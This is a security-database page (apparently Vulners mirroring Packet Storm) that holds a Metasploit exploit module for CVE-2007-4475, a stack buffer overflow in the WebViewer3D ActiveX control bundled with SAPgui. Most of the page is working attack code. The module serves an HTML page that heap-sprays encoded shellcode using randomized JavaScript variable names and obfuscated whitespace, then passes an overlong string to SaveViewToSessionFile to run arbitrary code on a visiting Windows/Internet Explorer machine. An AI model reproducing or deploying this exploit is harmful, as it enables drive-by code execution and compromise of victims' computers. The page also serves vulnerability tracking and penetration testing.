SAP AG SAPgui EAI WebViewer3D Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType

packetstorm🔗 packetstormsecurity.com👁 49 Views

SAP AG SAPgui EAI WebViewer3D Buffer Overflow in Siemens Unigraphics Solutions Teamcenter Visualization EAI WebViewer3D ActiveX control with SAPgu

Reporter	Title	Published	Views	Family All 15
Circl	CVE-2007-4475	31 Mar 200900:00	–	circl
Check Point Advisories	SAP GUI WebViewer3D ActiveX Control Arbitrary File Overwrite (CVE-2007-4475)	16 Dec 200900:00	–	checkpoint_advisories
CVE	CVE-2007-4475	1 Apr 200918:00	–	cve
Cvelist	CVE-2007-4475	1 Apr 200918:00	–	cvelist
Exploit DB	SAP AG SAPgui EAI WebViewer3D - Remote Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
Metasploit	SAP AG SAPgui EAI WebViewer3D Buffer Overflow	2 Apr 200920:43	–	metasploit
NVD	CVE-2007-4475	1 Apr 200918:30	–	nvd
Prion	Stack overflow	1 Apr 200918:30	–	prion
Saint	SAPgui EAI WebViewer3D ActiveX control SaveViewToSessionFile buffer overflow	7 Apr 200900:00	–	saint
Saint	SAPgui EAI WebViewer3D ActiveX control SaveViewToSessionFile buffer overflow	7 Apr 200900:00	–	saint

`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SAP AG SAPgui EAI WebViewer3D Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Siemens Unigraphics Solutions  
Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled  
with SAPgui. When passing an overly long string the SaveViewToSessionFile()  
method, arbitrary code may be executed.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-4475' ],  
[ 'OSVDB', '53066' ],  
[ 'US-CERT-VU','985449' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]   
],  
'DisclosureDate' => 'Mar 31 2009',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Create some nops.   
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Set the return.  
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)  
  
# Randomize the javascript variable names.  
vname = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(30) + 2)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
rand8 = rand_text_alpha(rand(100) + 1)  
  
content = %Q|  
<html>  
<object id='#{vname}' classid='clsid:AFBBE070-7340-11D2-AA6B-00E02924C34E'></object>  
<script language="JavaScript">  
var #{rand1} = unescape('#{shellcode}');  
var #{rand2} = unescape('#{nops}');  
var #{rand3} = 20;  
var #{rand4} = #{rand3} + #{rand1}.length;  
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};  
var #{rand5} = #{rand2}.substring(0,#{rand4});  
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});  
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};  
var #{rand7} = new Array();  
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }  
var #{rand8} = "";  
for (#{var_i} = 0; #{var_i} < 12500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }  
#{vname}.SaveViewToSessionFile(#{rand8});  
</script>  
</html>  
|  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

26 Nov 2009 00:00Current

0.7Low risk

Vulners AI Score0.7

EPSS0.68002